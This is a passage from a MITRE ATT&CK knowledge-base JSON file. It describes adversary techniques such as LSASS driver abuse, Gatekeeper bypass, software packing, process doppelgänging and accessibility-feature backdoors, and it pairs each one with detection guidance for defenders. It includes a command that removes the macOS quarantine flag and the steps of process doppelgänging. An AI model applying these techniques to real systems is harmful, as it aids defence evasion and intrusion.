queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1177","url":"https://attack.mitre.org/techniques/T1177"},{"url":"https://technet.microsoft.com/library/cc961760.aspx","description":"Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.","source_name":"Microsoft Security Subsystem"},{"url":"https://technet.microsoft.com/library/dn408187.aspx","description":"Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.","source_name":"Microsoft LSA Protection Mar 2014"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.","source_name":"Microsoft DLL Security"}],"modified":"2020-01-24T18:50:28.846Z","name":"LSASS Driver","description":"The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f","type":"attack-pattern","created":"2020-10-02T16:27:55.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591.002","url":"https://attack.mitre.org/techniques/T1591/002"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:36:58.964Z","name":"Business Relationships","description":"Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","type":"attack-pattern","created":"2017-05-31T21:31:37.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1125","external_id":"T1125"},{"external_id":"CAPEC-634","source_name":"capec","url":"https://capec.mitre.org/data/definitions/634.html"},{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Retrieved March 20, 2018.","source_name":"objective-see 2017 review"}],"modified":"2022-03-15T20:06:04.793Z","name":"Video Capture","description":"An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1144","url":"https://attack.mitre.org/techniques/T1144"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"url":"https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/","description":"Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.","source_name":"Clearing quarantine attribute"},{"url":"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update","description":"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.","source_name":"OceanLotus for OS X"},{"url":"https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/","description":"Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.","source_name":"Bypassing Gatekeeper"}],"modified":"2020-02-05T16:23:01.683Z","name":"Gatekeeper Bypass","description":"In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Application whitelisting","Anti-virus"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Filip Kafka, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88","type":"attack-pattern","created":"2017-05-31T21:30:43.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1045","url":"https://attack.mitre.org/techniques/T1045"},{"external_id":"CAPEC-570","source_name":"capec","url":"https://capec.mitre.org/data/definitions/570.html"},{"url":"http://en.wikipedia.org/wiki/Executable_compression","description":"Executable compression. (n.d.). Retrieved December 4, 2014.","source_name":"Wikipedia Exe Compression"},{"source_name":"ESET FinFisher Jan 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf","description":"Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."}],"modified":"2020-02-05T14:18:21.533Z","name":"Software Packing","description":"Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Signature-based detection","Anti-virus","Heuristic detection"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","type":"attack-pattern","created":"2020-01-14T17:19:50.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.013","url":"https://attack.mitre.org/techniques/T1055/013"},{"url":"https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx","description":"Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.","source_name":"Microsoft TxF"},{"url":"https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx","description":"Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.","source_name":"Microsoft Basic TxF Concepts"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx","description":"Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.","source_name":"Microsoft Where to use TxF"},{"url":"https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf","description":"Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.","source_name":"BlackHat Process Doppelgänging Dec 2017"},{"url":"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/","description":"hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.","source_name":"hasherezade Process Doppelgänging Dec 2017"},{"url":"https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx","description":"Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.","source_name":"Microsoft PsSetCreateProcessNotifyRoutine routine"}],"modified":"2021-02-09T15:43:48.848Z","name":"Process Doppelgänging","description":"Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor and analyze calls to <code>CreateTransaction</code>, <code>CreateFileTransacted</code>, <code>RollbackTransaction</code>, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to <code>NtCreateProcessEx</code> and <code>NtCreateThreadEx</code> as well as API calls used to modify memory within another process, such as <code>WriteProcessMemory</code>. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","File: File Metadata"],"x_mitre_defense_bypassed":["Anti-virus","Application control"],"x_mitre_permissions_required":["Administrator","SYSTEM","User"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Austin Clark, @c2defense"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","created":"2017-05-31T21:30:27.342Z","x_mitre_version":"1.4","external_references":[{"source_name":"mitre-attack","external_id":"T1016","url":"https://attack.mitre.org/techniques/T1016"},{"source_name":"Mandiant APT41 Global Intrusion ","url":"https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits ","description":"Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"url":"https://capec.mitre.org/data/definitions/309.html","source_name":"capec","external_id":"CAPEC-309"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes.(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ","modified":"2022-04-20T18:14:02.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"System Network Configuration Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use  commands being run by non-standard users from non-standard locations.  Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","Script: Script Execution","Process: OS API Execution","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4","type":"attack-pattern","created":"2020-06-16T17:23:06.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1578.003","url":"https://attack.mitre.org/techniques/T1578/003"},{"source_name":"Mandiant M-Trends 2020","url":"https://content.fireeye.com/m-trends/rpt-m-trends-2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."},{"source_name":"AWS CloudTrail Search","url":"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/","description":"Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020."},{"source_name":"Azure Activity Logs","url":"https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs","description":"Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020."},{"source_name":"Cloud Audit Logs","url":"https://cloud.google.com/logging/docs/audit#admin-activity","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020."}],"modified":"2021-03-08T10:33:02.083Z","name":"Delete Cloud Instance","description":"An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the <code>TerminateInstances</code> event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances delete</code> to delete a VM.(Citation: Cloud Audit Logs)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Instance: Instance Deletion","Instance: Instance Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","type":"attack-pattern","created":"2020-03-13T11:12:18.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.005","url":"https://attack.mitre.org/techniques/T1574/005"},{"source_name":"mozilla_sec_adv_2012","url":"https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/","description":"Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017."},{"source_name":"Executable Installers are Vulnerable","url":"https://seclists.org/fulldisclosure/2015/Dec/34","description":"Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}],"modified":"2020-03-26T19:20:23.030Z","name":"Executable Installer File Permissions Weakness","description":"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","File: File Creation","File: File Modification","Module: Module Load","Service: Service Metadata"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["Administrator","User","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Paul Speulstra, AECOM Global Security Operations Center"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","type":"attack-pattern","created":"2020-01-24T14:32:40.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.008","url":"https://attack.mitre.org/techniques/T1546/008"},{"external_id":"CAPEC-558","source_name":"capec","url":"https://capec.mitre.org/data/definitions/558.html"},{"url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html","description":"Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.","source_name":"FireEye Hikit Rootkit"},{"url":"https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom","description":"Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.","source_name":"DEFCON2016 Sticky Keys"},{"url":"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/","description":"Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.","source_name":"Tilbury 2014"},{"source_name":"Narrator Accessibility Abuse","url":"https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html","description":"Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020."}],"modified":"2020-05-13T20:37:30.048Z","name":"Accessibility Features","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo 